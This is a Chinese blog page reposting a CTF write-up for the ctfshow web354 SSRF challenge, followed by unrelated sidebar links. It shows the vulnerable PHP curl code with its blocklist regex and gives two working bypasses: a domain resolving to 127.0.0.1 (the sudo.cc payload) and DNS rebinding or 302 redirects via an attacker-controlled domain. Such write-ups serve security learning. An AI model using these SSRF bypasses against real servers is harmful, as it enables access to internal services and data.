当前位置:网站首页>ctfshow-web354(SSRF)
ctfshow-web354(SSRF)
2022-07-01 06:48:00 【m0_62094846】
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>
法一:
sudo.cc相当于127.0.0.1
url=http://sudo.cc/flag.php
法二:
改本地域名的A记录到127.0.0.1上,然后访问http://域名/flag.php 即可(也可在自己域名服务器上搭建302跳转)
边栏推荐
- Product learning (I) - structure diagram
- 树莓派4的WiFi设置
- MySQL data type learning notes
- 解决The code generator has deoptimised the styling of xxxx.js as it exceeds the max of 500kb
- Esp32 esp-idf ADC monitors battery voltage (with correction)
- Interview questions for HW (OD) post
- 在长城证券上做基金定投安全吗?
- 【计网】(一) 集线器、网桥、交换机、路由器等概念
- Postgraduate entrance examination directory link
- 【系统分析师之路】第五章 复盘软件工程(逆向净室与模型驱动开发)
猜你喜欢
Product learning (I) - structure diagram
Grain Mall - environment (p1-p27)
Using fuseki query when there are multiple models in TDB
【LINGO】求无向图的最短路问题
【MATLAB】求解非线性规划
Esp32 - ULP coprocessor reading Hall sensor in low power mode
灰度何以跌下神坛?
发现了一个 MySQL 的巨坑:update 更新别再用影响行数做判断了!!!
Lxml module (data extraction)
如何进入互联网行业,成为产品经理?没有项目经验如何转行当上产品经理?
随机推荐
ESP32 ESP-IDF ADC监测电池电压(带校正)
Is fixed investment fund a high-risk product?
软件工程复习
代码实战——从零开始搭建自己的Diffusion models/Score-based generative models
【Tikhonov】基于Tikhonov正则化的图像超分辨率重建
Esp32 monitors the battery voltage with ULP when the battery is powered
在长城证券上做基金定投安全吗?
问题:OfficeException: failed to start and connect(三)
Solve the problem that the class defined in meta-inf.services cannot be read
SQL learning notes nine connections 2
转行做产品经理,如何挑选产品经理课程?
图解事件坐标screenX、clientX、pageX, offsetX的区别
【LINGO】求七个城市最小连线图,使天然气管道价格最低
The code generator has eliminated the styling of xxxx js as it exceeds the max of 500kb
Solve the problem of "unexpected status code 503 service unavailable" when kaniko pushes the image to harbor
PAT (Advanced Level) Practice 1057 Stack
概率论学习笔记
Database notes
Automated test platform (13): interface automation framework and platform comparison, application scenario analysis and design ideas sharing
AI视频智能平台EasyCVR设备录像出现无法播放现象的问题修复